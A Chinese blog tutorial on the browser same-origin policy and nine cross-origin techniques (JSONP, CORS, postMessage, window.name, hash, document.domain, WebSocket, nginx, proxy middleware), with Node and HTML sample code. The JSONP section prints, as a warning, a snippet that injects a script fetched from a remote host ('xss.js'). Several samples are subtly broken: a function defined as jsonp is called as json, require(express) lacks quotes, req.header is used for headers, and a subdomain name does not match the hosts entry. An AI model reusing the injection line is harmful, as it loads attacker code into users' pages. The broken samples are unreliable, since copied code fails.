九种 “姿势” 让你彻底解决跨域问题

strict-origin-when-cross-origin *strict-origin-when-cross-origin工作方式、strict-origin-when-cross-origin使用实例及错误码。 阅读详情
AI摘要

本文深入解析了浏览器的同源策略及其对跨域访问的限制,详细介绍了包括JSONP、CORS、postMessage在内的多种跨域技术原理及应用场景,帮助开发者理解和应对跨域挑战。

在这里插入图片描述


阅读原文


同源策略

同源策略/SOP(Same origin policy)是一种约定,由 Netscape 公司 1995 年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到 XSS、CSRF 等攻击。所谓同源是指 “协议 + 域名 + 端口” 三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。


什么是跨域?

当协议、域名、端口号,有一个或多个不同时,有希望可以访问并获取数据的现象称为跨域访问,同源策略限制下 cookie、localStorage、dom、ajax、IndexDB 都是不支持跨域的。

假设 cookie 支持了跨域,http 协议无状态,当用户访问了一个银行网站登录后,银行网站的服务器给返回了一个 sessionId,当通过当前浏览器再访问一个恶意网站,如果 cookie 支持跨域,恶意网站将获取 sessionId 并访问银行网站,出现安全性问题;IndexDB、localStorage 等数据存储在不同域的页面切换时是获取不到的;假设 dom 元素可以跨域,在自己的页面写入一个 iframe 内部嵌入的地址是 www.baidu.com,当在百度页面登录账号密码时就可以在自己的页面获取百度的数据信息,这显然是不合理的。

这就是为什么 cookie、localStorage、dom、ajax、IndexDB 会受到同源策略会限制,下面还有一点对跨域理解的误区:

误区:同源策略限制下,访问不到后台服务器的数据,或访问到后台服务器的数据后没有返回;
正确:同源策略限制下,可以访问到后台服务器的数据,后台服务器会正常返回数据,而被浏览器给拦截了。


实现跨域的方式

一、使用 jsonp 跨域

使用场景:当自己的项目前端资源和后端部署在不同的服务器地址上,或者其他的公司需要访问自己对外公开的接口,需要实现跨域获取数据,如百度搜索。

// 封装 jsonp 跨域请求的方法
function jsonp({ url, params, cb }) {
    return new Promise((resolve, reject) => {
        // 创建一个 script 标签帮助我们发送请求
        let script = document.createElement("script");
        let arr = [];
        params = { ...params, cb };

        // 循环构建键值对形式的参数
        for (let key in params) {
            arr.push(`${key}=${params[key]}`);
        }

        // 创建全局函数
        window[cb] = function(data) {
            resolve(data);
            // 在跨域拿到数据以后将 script 标签销毁
            document.body.removeChild(script);
        };

        // 拼接发送请求的参数并赋值到 src 属性
        script.src = `${url}?${arr.join("&")}`;
        document.body.appendChild(script);
    });
}

// 调用方法跨域请求百度搜索的接口
json({
    url: "https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su",
    params: {
        wd: "jsonp"
    },
    cb: "show"
}).then(data => {
    // 打印请求回的数据
    console.log(data);
});

缺点:

  • 只能发送 get 请求 不支持 post、put、delete;
  • 不安全,容易引发 xss 攻击,别人在返回的结果中返回了下面代码。
`let script = document.createElement('script');
script.src = "http://192.168.0.57:8080/xss.js";
document.body.appendChild(script);`;

会把别人的脚本引入到自己的页面中执行,如:弹窗、广告等,甚至更危险的脚本程序。


二、使用 CORS 跨域

跨源资源共享/CORS(Cross-Origin Resource Sharing)是 W3C 的一个工作草案,定义了在必须访问跨源资源时,浏览器与服务器应该如何沟通。CORS 背后的基本思想,就是使用自定义的 HTTP 头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。

使用场景:多用于开发时,前端与后台在不同的 ip 地址下进行数据访问。

现在启动两个端口号不同的服务器,创建跨域条件,服务器(NodeJS)代码如下:

// 服务器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 服务器2
const express = require("express");
let app = express();
app.get("/getDate", function(req, res) {
    res.end("I love you");
});
app.use(express.static(__dirname));
app.listen(4000);

由于我们的 NodeJS 服务器使用 express 框架,在我们的项目根目录下的命令行中输入下面代码进行安装:

npm install express --save

通过访问 http://localhost:3000/index.html 获取 index.html 文件并执行其中的 Ajax 请求 http://localhost:4000/getDate 接口去获取数据,index.html 文件内容如下:

<!-- 文件:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CORS 跨域</title>
</head>
<body>
    <script>
        let xhr = new XMLHttpRequest();

        // 正常 cookie 是不允许跨域的
        document.cookie = 'name=hello';

        // cookie 想要实现跨域必须携带凭证
        xhr.withCredentials = true;

        // xhr.open('GET', 'http://localhost:4000/getDate', true);
        xhr.open('PUT', 'http://localhost:4000/getDate', true);

        // 设置名为 name 的自定义请求头
        xhr.setRequestHeader('name', 'hello');

        xhr.onreadystatechange = function () {
            if(xhr.readyState === 4) {
                if(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) {
                    // 打印返回的数据
                    console.log(xhr.response);

                    // 打印后台设置的自定义头信息
                    console.log(xhr.getResponseHeader('name'));
                }
            }
        }
        xhr.send();
    </script>
</body>
</html>

上面 index.html 代码中发送请求访问不在同源的服务器 2,此时会在控制台给出错误信息,告诉我们缺少了哪些响应头,我们对应报错信息去修改访问的服务器 2 的代码,添加对应的响应头,实现 CORS 跨域。

// 服务器2
const express = require("express");
let app = express();

// 允许访问域的白名单
let whiteList = ["http://localhost:3000"];

app.use(function(req, res, next) {
    let origin = req.header.origin;
    if (whiteList.includes(origin)) {
        // 设置那个源可以访问我,参数为 * 时,允许任何人访问,但是不可以和 cookie 凭证的响应头共同使用
        res.setHeader("Access-Control-Allow-Origin", origin);
        // 想要获取 ajax 的头信息,需设置响应头
        res.setHeader("Access-Control-Allow-Headers", "name");
        // 处理复杂请求的头
        res.setHeader("Access-Control-Allow-Methods", "PUT");
        // 允许发送 cookie 凭证的响应头
        res.setHeader("Access-Control-Allow-Credentials", true);
        // 允许前端获取哪个头信息
        res.setHeader("Access-Control-Expose-Headers", "name");
        // 处理 OPTIONS 预检的存活时间,单位 s
        res.setHeader("Access-Control-Max-Age", 5);
        // 发送 PUT 请求会做一个试探性的请求 OPTIONS,其实是请求了两次,当接收的请求为 OPTIONS 时不做任何处理
        if (req.method === "OPTIONS") {
            res.end();
        }
    }
    next();
});

app.put("/getDate", function(req, res) {
    // res.setHeader('name', 'nihao'); // 设置自定义响应头信息
    res.end("I love you");
});

app.get("/getDate", function(req, res) {
    res.end("I love you");
});

app.use(express.static(__dirname));
app.listen(4000);

三、使用 postMessage 实现跨域

postMessage 是 H5 的新 API,跨文档消息传送(cross-document messaging),有时候简称为 XMD,指的是在来自不同域的页面间传递消息。

调用方式:window.postMessage(message, targetOrigin)

  • message:发送的数据
  • targetOrigin:发送的窗口的域

在对应的页面中用 message 事件接收,事件对象中有 data、origin、source 三个重要信息

  • data:接收到的数据
  • origin:接收到数据源的域(数据来自哪个域)
  • source:接收到数据源的窗口对象(数据来自哪个窗口对象)

使用场景:不是使用 Ajax 的数据通信,更多是在两个页面之间的通信,在 A 页面中引入 B 页面,在 A、B 两个页面之间通信。

与上面 CORS 类似,我们要创建跨域场景,搭建两个端口号不同的 Nodejs 服务器,后面相同方式就不多赘述了。

// 服务器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 服务器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);

通过访问 http://localhost:3000/a.html,在 a.html 中使用 iframe 标签引入 http://localhost:4000/b.html,在两个窗口间传递数据。

<!-- 文件:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 A</title>
</head>
<body>
    <iframe src="http://localhost:4000/b.html" id="frame" onload="load()"></iframe>
    <script>
        function load() {
            let frame = document.getElementById('frame');
            frame.contentWindow.postMessage('I love you', 'http://localhost:4000');
            window.onmessage = function (e) {
                console.log(e.data);
            }
        }
    </script>
</body>
</html>
<!-- 文件:b.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 B</title>
</head>
<body>
    <script>
        window.onmessage = function (e) {
            // 打印来自页面 A 的消息
            console.log(e.data);
            // 给页面 A 发送回执
            e.source.postMessage('I love you, too', e.origin);
        }
    </script>
</body>
</html>

四、使用 window.name 实现跨域

同样是页面之间的通信,需要借助 iframe 标签,A 页面和 B 页面是同域的 http://localhost:3000,C 页面在独立的域 http://localhost:4000。

// 服务器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 服务器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);

实现思路:在 A 页面中将 iframe 的 src 指向 C 页面,在 C 页面中将属性值存入 window.name 中,再把 iframe 的 src 换成同域的 B 页面,在当前的 iframe 的 window 对象中取出 name 的值,访问 http://localhost:3000/a.html。

<!-- 文件:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 A</title>
</head>
<body>
    <iframe src="http://localhost:4000/c.html" id="frame" onload="load()"></iframe>
    <script>
        // 增加一个标识,第一次触发 load 时更改地址,更改后再次触发直接取值
        let isFirst = true;
        function load() {
            let frame = document.getElementById('frame');
            if(isFirst) {
                frame.src = 'http://localhost:3000/b.html';
                isFirst = false;
            } else {
                console.log(frame.contentWindow.name);
            }
        }
    </script>
</body>
</html>
<!-- 文件:c.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 C</title>
</head>
<body>
    <script>
        window.name = 'I love you';
    </script>
</body>
</html>

五、使用 location.hash 实现跨域

与 window.name 跨域的情况相同,是不同域的页面间的参数传递,需要借助 iframe 标签,A 页面和 B 页面是同域的 http://localhost:3000,C 页面是独立的域 http://localhost:4000。

// 服务器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 服务器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);

实现思路:A 页面通过 iframe 引入 C 页面,并给 C 页面传一个 hash 值,C 页面收到 hash 值后创建 iframe 引入 B 页面,把 hash 值传给 B 页面,B 页面将自己的 hash 值放在 A 页面的 hash 值中,访问 http://localhost:3000/a.html。

<!-- 文件:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 A</title>
</head>
<body>
    <iframe src="http://localhost:4000/c.html#Iloveyou" id="frame"></iframe>
    <script>
        // 使用 hashchange 事件接收来自 B 页面设置给 A 页面的 hash 值
        window.onhashchange = function () {
            console.log(location.hash);
        }
    </script>
</body>
</html>
<!-- 文件:c.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 C</title>
</head>
<body>
    <script>
        // 打印 A 页面引入 C 页面设置的 hash 值
        console.log(location.hash);
        let iframe = document.createElement('iframe');
        iframe.src = 'http://localhost:3000/b.html#Iloveyoutoo';
        document.body.appendChild(iframe);
    </script>
</body>
</html>
<!-- 文件:b.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 B</title>
</head>
<body>
    <script>
        // 将 C 页面引入 B 页面设置的 hash 值设置给 A页面
        window.parent.parent.location.hash = location.hash;
    </script>
</body>
</html>

六、使用 document.domain 实现跨域

使用场景:不是万能的跨域方式,大多使用于同一公司不同产品间获取数据,必须是一级域名和二级域名的关系,如 www.baidu.com 与 video.baidu.com 之间。

const express = require("express");
let app = express();

app.use(express.static(__dirname));
app.listen(3000);

想要模拟使用 document.domain 跨域的场景需要做些小小的准备,到 C:\Windows\System32\drivers\etc 该路径下找到 hosts 文件,在最下面创建一个一级域名和一个二级域名。

127.0.0.1          www.domainacross.com
127.0.0.1          sub.domainacross.com

命名是随意的,只要是符合一级域名与 二级域名的关系即可,然后访问 http://www.domainacross.com:3000/a.html。

<!-- 文件:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 A</title>
</head>
<body>
    <p>我是页面 A 的内容</p>
    <iframe src="http://sucess.domainacross.com:3000/b.html" onload="load()" id="frame"></iframe>
    <script>
        document.domain = 'domainacross.com';
        function load() {
            console.log(frame.contentWindow.message);
        }
    </script>
</body>
</html>
<!-- 文件:b.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>页面 B</title>
</head>
<body>
    <p>我是 B 页面的内容</p>
    <script>
        document.domain = 'domainacross.com';
        var message = 'Hello A';
    </script>
</body>
</html>

七、使用 WebSocket 实现跨域

WebSocket 没有跨域限制,高级 API(不兼容),想要兼容低版本浏览器,可以使用 socket.io 的库,WebSocket 与 HTTP 内部都是基于 TCP 协议,区别在于 HTTP 是单向的(单双工),WebSocket 是双向的(全双工),协议是 ws:// 和 wss:// 对应 http:// 和 https://,因为没有跨域限制,所以使用 file:// 协议也可以进行通信。

由于我们在 NodeJS 服务中使用了 WebSocket,所以需要安装对应的依赖:

npm install ws --save

<!-- 文件:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面</title>
</head>
<body>
    <script>
        // 创建 webSocket
        let socket = new WebSocket('ws://localhost:3000');
        // 连接上触发
        socket.onopen = function () {
            socket.send('I love you');
        }
        // 收到消息触发
        socket.onmessage = function (e) {
            // 打印收到的数据
            console.log(e.data); // I love you, too
        }
    </script>
</body>
</html>
const express = require("express");
let app = express();

// 引入 webSocket
const WebSocket = require("ws");
// 创建连接,端口号与前端相对应
let wss = new WebSocket.Server({ port: 3000 });

// 监听连接
wss.on("connection", function(ws) {
    // 监听消息
    ws.on("message", function(data) {
        // 打印消息
        console.log(data); // I love you
        // 发送消息
        ws.send("I love you, too");
    });
});

八、使用 nginx 实现跨域

nginx 本身就是一个服务器,因此我们需要去 nginx 官网下载服务环境 http://nginx.org/en/download.html。

  • 下载后解压到一个文件夹中
  • 双击 nginx.exe 启动(此时可以通过 http://localhost 访问 nginx 服务)
  • 在目录新建 json 文件夹
  • 进入 json 文件夹新建 data.json 文件并写入内容
  • 回到 nginx 根目录进入 conf 文件夹
  • 使用编辑器打开 nginx.conf 进行配置

data.json 文件:

{
    "name": "nginx"
}

nginx.conf 文件:

server {
    .
    .
    .
    location ~.*\.json {
        root json;
        add_header "Access-Control-Allow-Origin" "*";
    }
    .
    .
    .
}

含义:

  • ~.*\.json:代表忽略大小写,后缀名为 json 的文件;
  • root json:代表 json 文件夹;
  • add_header:代表加入跨域的响应头及允许访问的域,* 为允许任何访问。

在 nginx 根目录启动 cmd 命令行(windows 系统必须使用 cmd 命令行)执行下面代码重启 nginx。

nginx -s reload

不跨域访问:http://localhost/data.json

跨域访问时需要创建跨域条件代码如下:

// 服务器
const express = require("express");
let app = express();

app.use(express.static(__dirname));
app.listen(3000);

跨域访问:http://localhost:3000/index.html

<!-- 文件:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>nginx跨域</title>
</head>
<body>
    <script>
        let xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://localhost/data.json', true);
        xhr.onreadystatechange = function () {
            if(xhr.readyState === 4) {
                if(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) {
                    console.log(xhr.response);
                }
            }
        }
        xhr.send();
    </script>
</body>
</html>

九、使用 http-proxy-middleware 实现跨域

NodeJS 中间件 http-proxy-middleware 实现跨域代理,原理大致与 nginx 相同,都是通过启一个代理服务器,实现数据的转发,也可以通过设置 cookieDomainRewrite 参数修改响应头中 cookie 中的域名,实现当前域的 cookie 写入,方便接口登录认证。

1、非 vue 框架的跨域(2 次跨域)
<!-- 文件:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>proxy 跨域</title>
</head>
<body>
    <script>
        var xhr = new XMLHttpRequest();

        // 前端开关:浏览器是否读写 cookie
        xhr.withCredentials = true;

        // 访问 http-proxy-middleware 代理服务器
        xhr.open('get', 'http://www.proxy1.com:3000/login?user=admin', true);
        xhr.send();
    </script>
</body>
</html>

中间代理服务中使用了 http-proxy-middleware 中间件,因此需要提前下载:

npm install http-proxy-middleware --save-dev

// 中间代理服务器
const express = require("express");
let proxy = require("http-proxy-middleware");
let app = express();

app.use(
    "/",
    proxy({
        // 代理跨域目标接口
        target: "http://www.proxy2.com:8080",
        changeOrigin: true,

        // 修改响应头信息,实现跨域并允许带 cookie
        onProxyRes: function(proxyRes, req, res) {
            res.header("Access-Control-Allow-Origin", "http://www.proxy1.com");
            res.header("Access-Control-Allow-Credentials", "true");
        },

        // 修改响应信息中的 cookie 域名
        cookieDomainRewrite: "www.proxy1.com" // 可以为 false,表示不修改
    })
);

app.listen(3000);
// 服务器
const http = require("http");
const qs = require("querystring");

const server = http.createServer();

server.on("request", function(req, res) {
    let params = qs.parse(req.url.substring(2));

    // 向前台写 cookie
    res.writeHead(200, {
        "Set-Cookie": "l=a123456;Path=/;Domain=www.proxy2.com;HttpOnly" // HttpOnly:脚本无法读取
    });

    res.write(JSON.stringify(params));
    res.end();
});

server.listen("8080");
2、vue 框架的跨域(1 次跨域)

利用 node + webpack + webpack-dev-server 代理接口跨域。在开发环境下,由于 Vue 渲染服务和接口代理服务都是 webpack-dev-server,所以页面与代理接口之间不再跨域,无须设置 Headers 跨域信息了。

// 导出服务器配置
module.exports = {
    entry: {},
    module: {},
    ...
    devServer: {
        historyApiFallback: true,
        proxy: [{
            context: '/login',
            target: 'http://www.proxy2.com:8080',  // 代理跨域目标接口
            changeOrigin: true,
            secure: false,  // 当代理某些 https 服务报错时用
            cookieDomainRewrite: 'www.domain1.com'  // 可以为 false,表示不修改
        }],
        noInfo: true
    }
}

本篇文章在于帮助我们理解跨域,以及不同跨域方式的基本原理,在公司的项目比较多,多个域使用同一个服务器或者数据,以及在开发环境时,跨域的情况基本无法避免,一般会有各种各样形式的跨域解决方案,但其根本原理基本都在上面的跨域方式当中方式,我们可以根据开发场景不同,选择最合适的跨域解决方案。


解决跨域问题,实例调用百度地图 1.什么是跨域? 浏览器对于javascript的同源策略的限制,例如a.com下面的js不能调用b.com中的js,对象或数据(因为a.com和b.com是不同域),所以跨域就出现了。同域的概念又是什么呢?所谓的同源是指,域名、协议、端口均为相同。 前端常见跨域解决方案(全) 当年那些风骚的跨域操作 全解跨域请求处理办法 不要再问我跨域的问题了 九种 “姿势” 让你彻底解决跨域问题 2.如何... 阅读详情

相关推荐

SU24 授权默认值显示界面,别只看图标,真正要看懂的是默认状态、对象列表和 Trace 之间的联动

文章摘要:SU24作为SAP授权维护的核心事务码,其默认值维护直接影响PFCG角色生成质量。重点解读SU24界面的关键区域:Header区显示应用/Variant的技术归属;对象列表区决定PFCG获取的授权对象及默认状态,需区分运行时检查与默认提议两种逻辑;Change模式下系统会根据STUSOBTRACE自动补全对象;折叠/完整列表切换影响问题排查深度;单双列显示模式由PRGN_CUST参数控制。正确理解这些设计逻辑,才能建立干净的授权链路,避免升级和审计时出现对象来源不清的问题。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 2482

解决 strict-origin-when-cross-origin 问题

使用90版本之后的谷歌浏览器, 在部署前端项目后, 调用后端接口出现 strict-origin-when-cross-origin, 并且静态资源被拦截的情况的解决

时间静止 18万+

从 Plan Cache 看懂 ABAP CDS View 性能,HANA SQL Optimizer 到底在忙什么

摘要:文章探讨了CDS View性能问题中SQL执行时间不稳定的现象,指出这种波动比稳定慢SQL更难排查。作者分析了HANA优化器的工作原理,强调复杂CDS视图层级和关联关系会导致SQL语句膨胀,而优化器看到的只是展开后的SQL字符串而非设计意图。文章特别警告了将计算结果作为关键字段的风险,并指出测试环境与生产环境的数据量差异会显著影响执行计划。最后,作者提醒注意SQL准备时间和计划缓存的重要性,建议保持SQL结构一致性以提高缓存命中率。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 6567

跨域问题详解

为什么会出现跨域问题 同源策略 同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。 什么是跨域 url的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域 非同源限制 【1】无法读取非同源网页的 Cookie、LocalStorage 和 IndexedDB 【2】无法接触非同源网页的 DOM 【3】无法向非同源地址发送 A

吹灯老人的博客 2万+

JS跨域问题详解

JavaScript是一种在Web开发中经常使用的前端动态脚本技术。在JavaScript中,有一个很重要的安全性限制,被称为“Same-Origin Policy”(同源策略)。这一策略对于JavaScript代码能够访问的页面内容做了很重要的限制,即JavaScript只能访问与包含它的文档在同一域下的内容。   JavaScript这个安全策略在进行多iframe或多窗口编程、以及Ajax编程时显得尤为重要。根据这个策略,在baidu.com下的页面中包含的JavaScript代码,不能访问在google.com域名下的页面内容;甚至不同的子域名之间的页面也不能通过JavaScript代

开源:AI+无人机巡检系统项目调研

本文系统梳理了主流开源无人机巡检技术栈,涵盖飞控系统(PX4/ArduPilot)、地面站软件(QGroundControl)、AI视觉识别(VisDrone/MPID/CPLID数据集)、三维重建(OpenDroneMap/COLMAP)和仿真模拟(AirSim/Gazebo)五大领域。通过对比各项目的技术特点、开发语言、开源协议及商用友好度,为无人机巡检产品开发提供完整的技术选型参考。重点推荐PX4飞控、DroneKit开发API等商用友好项目,同时分析了GPL/AGPL协议项目的开源要求。

lovehu6686的博客 2450

九种"姿势"让你提高Angular性能

众所周知AngularJS是当今应用最广泛的Web应用程序框架,并且它的受欢迎程序在其期待已久的AngularJS 4.0到来之后不断上升。但是我们可以看到,几乎所有的Angular专家仍然在努力解决与AngularJS性能相关的各种问题,尽管它自己也做了很多的优化。 在对AngularJS的性能进行了大量讨论之后,现在是时候看看这九种可以提高AngularJS性能的姿势了。 1. 使用B...

weixin_34000916的博客 303

Github多人协作

最近有门课程需要几个人一起开发一个项目,此前我们基本都是单干的,多人合作意味着需要及时将我们每个人的代码进行合并,U盘传文件这种方式太慢了,效率不行,而且没法解决两个人同时修改一个文件的问题,这次我们就尝试使用Github来协助开发。下面就来记录一下这次开发遇到的一些问题和解决的方法。 Git的安装 从官网下载最新版按照默认安装即可。 此处不多加说明。 Git常用命令 在此放上一...

yzr1216的博客 1万+

Java中String转Integer的九种姿势与源码大揭秘(附避坑指南)

下次遇到NumberFormatException时,希望你能会心一笑:“小样,你的套路我都懂!

fluxcode的博客 1600

UDP_千兆光通信(四)Tri Mode Ethernet MAC ip核

其中 Transmit Engine 从 AXI-Stream TX 接口接收数据,并添加前导码 Preamble、帧起始界定符 SFD、帧校验序列 FSC 等,并在必要时(长度小于最小 MAC 帧长度)填充数据,因此在使用 TEMAC 时,MAC 帧的这几个部分就不需要我们自己添加了(不过其他的 MAC 帧部分,可选的帧过滤器 Frame Filter 用于过滤与一组可配置过滤器匹配的帧,一般用于过滤掉目的 MAC 地址与本设备不一致的帧,TEMAC 默认开启帧过滤器。默认值为使用64位宽的计数器。

lzr232的博客 1775

CANoe实战:LIN Slave一致性测试全流程解析

本文详细解析了使用CANoe进行LIN Slave一致性测试的全流程,包括测试概述、环境搭建、模块集成、测试用例详解及报告分析。通过实际案例分享,帮助工程师掌握LIN 2.0/2.1/2.2、SAE J2602和ISO 17987等标准的自动化测试方法,提升汽车电子从节点的可靠性和兼容性验证效率。

weixin_42665725的博客 533

护腰方法九种

<br />护腰方法九种 <br /><br />腰部是运动中比较容易受伤的部位之一。不论是健康人的腰部,还是已经受伤但尚未出现症状,或者已有多种疾病的腰部,都需要经常进行锻炼。这里向大家介绍几种护腰的方法: <br /><br />1、不论平时或持重时均应减少弯腰。因为向前弯腰时腰间盘后移,若反复弯腰,一旦保护髓核的纤维环磨损,可能发生椎间盘透明变性甚至断裂,特别是在后外侧的薄弱处。健康的椎间盘能将上部体重均匀地传至下位椎体面上,在身体垂直运动时起着缓冲震荡的作用。有时如果必须做弯腰动作,这时可以用弯膝下

春子的专栏 645

【UE4】PMC程序化生成戈德堡多面体详解(六边形星球)

游戏实机录屏 【魔方超新星】30天独立开发PCG Minigame《盖亚计划》作品展示,尚有不足,大佬轻喷 目录 游戏实机录屏 一、简介 二、设计思路 2.1 Disco Ball 2.2 Fibonacci Sphere 2.3 Goldberg Polyhedron 2.3.1 细分+对偶(最终方案) 2.3.2 对偶+截角(更优) 三、参考文献 一、简介 在制作Minigame初期,游戏风格想模仿《文明6》与《Polygonal Planet Proje...

ColorGalaxy 5931

别再瞎调大模型了!LLM微调九种姿势全拆解,哪招最适合你?

大模型微调不是“全参开干”就完事。从LoRA到BitFit,从Adapter到Prefix-Tuning,九种主流方法各有千秋。本文一次性讲清每种技术的原理、适用场景与资源代价,帮你避开“调了等于没调”的坑,精准选对落地策略。

打造全国最全的AI Agent开发知识领域的博客 1054

新系统申请软件著作权详细操作说明

今年八月底版权中心系统升级,新系统相对好用一些,至少不用再拿IE访问了,但是多了一项实名认证。下面介绍新系统的操作流程。 目录注册、登录和实名认证注册登录实名认证软件登记申请申请表填写鉴别材料身份证明文件权利归属证明文件其他材料提交材料变更登记 注册、登录和实名认证 首先访问版权中心系统:https://register.ccopyright.com.cn/login.html,如果老系统有账号直接登录即可,没有的话需要注册。 注册 点击注册按钮进入注册。 根据实际情况选择个人或单位,每个个人或单位只能在

Programming Talk 1万+

TOGAF架构内容—TOGAF 内容框架和企业元模型

TOGAF架构内容—TOGAF 内容框架和企业元模型

深圳市多克创新科技有限公司 1664

Nano Banana 2.1多图一致性实战:九种用法与养图工作流

图像生成中的多图一致性是确保角色、场景和风格在系列图中保持统一的关键技术。其原理基于跨图像身份嵌入机制,通过提取独立于姿势和光照的身份向量,实现换姿势不换脸。这项技术显著提升了电商展示、漫画分镜和虚拟形象运营的效率与质量。在角色多姿势展示、产品多角度呈现和风格迁移等场景中,合理控制身份向量权重和参考图质量至关重要。Nano Banana 2.1 通过多图输入和身份向量控制,将多图一致性从玄学变为可操作,结合养图工作流,可高效生成高质量系列图。

weixin_29035147的博客 170

【思博伦】史上最详细Spirent TestCenter测试仪使用教程精讲(一)!图解超赞超详细!!!

3. 在弹出的界面中,找到菜单栏中的“Connect/Create”,选择下拉框中的“Connect to Physical/Visual Chassis”,在弹出的对话框中输入思博伦测试仪的IP地址:192.168.6.244,点击“OK”;说明:目前我们只需要使用到Raw Stream Block,不需要用到Bound Stream Block。说明:如果要使用100G模式,由于硬件限制,必须连续3个面板端口同时配置为100G使用。打开安装包,并按照提示按照即可。

风云说通信 6479

SpringBoot源码初学者(三):真·用SpringBoot“new”女朋友的九种姿势与BeanFactory的解析

ps:bean初始化相关的内容实在太多,不得已只好将其分成上下两篇来讲 上篇:主要讲解BeanFactory的相关内容,包括后置处理器的相关内容 下篇:主要讲解Bean的实例化 系列文章链接: 《SpringBoot源码初学者(一):SpringBoot功能扩展接口的使用与源码分析》 《SpringBoot源码初学者(二):SpringBoot事件监听器》 目录一、啥子是Bean???1、be...

敲代码的旺财的博客 1034

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

环信CEO:SaaStr2017,SaaS创业最正确的九种姿势

SaaS行业最迷人之处之一就是经过10多年无数公司的探索,尤其是在北美,SaaS企业已经有了一个可以被精确计算和测量的模型。我们看到SaaS行业的人不管懂还是不懂,都在谈论着CAC, LTV, LTV>3CAC,续约率,平均客单价,MRR/ARR, inbound marketing, outbound prospecting。 在中国,不知道是不是因为SaaS企业有数学模型,可以用一...

孟迎霞 优快云 122

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

九种日光里的蓝牛仔与百褶裙:9组亚洲成年女性高清提示词

九位虚构亚洲成年女性,五套蓝色紧身牛仔裤与四套成年百褶裙。每张原创高清图附中文提示词与焦段、光源、动作变量。

开源低代码平台-Microi吾码-框架C#.NET8 + Vue3 323

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

PTP端口状态机全解析:九种状态与调试实战

网络时间同步是分布式系统稳定运行的基础,PTP(精确时间协议)作为高精度时间同步的主流方案,其端口状态机决定了设备在同步网络中的角色与行为。状态机通过BMCA算法完成主时钟选举,并以Listening、PreMaster、Master、Slave等九种状态确保时钟拓扑无环收敛。理解这些状态及其迁移逻辑,是解决同步异常的关键。结合ptp4l工具的实际调试案例,可以快速定位端口不收敛、角色冲突、路径延迟测量失败等问题,同时表驱动的代码实现思路也为嵌入式协议栈开发提供了参考。掌握PTP端口状态机,不仅有助于深入理

weixin_33483304的博客 174
上一篇: 模拟 Vue 手写一个 MVVM
下一篇: 异步发展流程 —— Promise 的基本使用
Panda Shen
博客等级 码龄10年 18粉丝 50原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值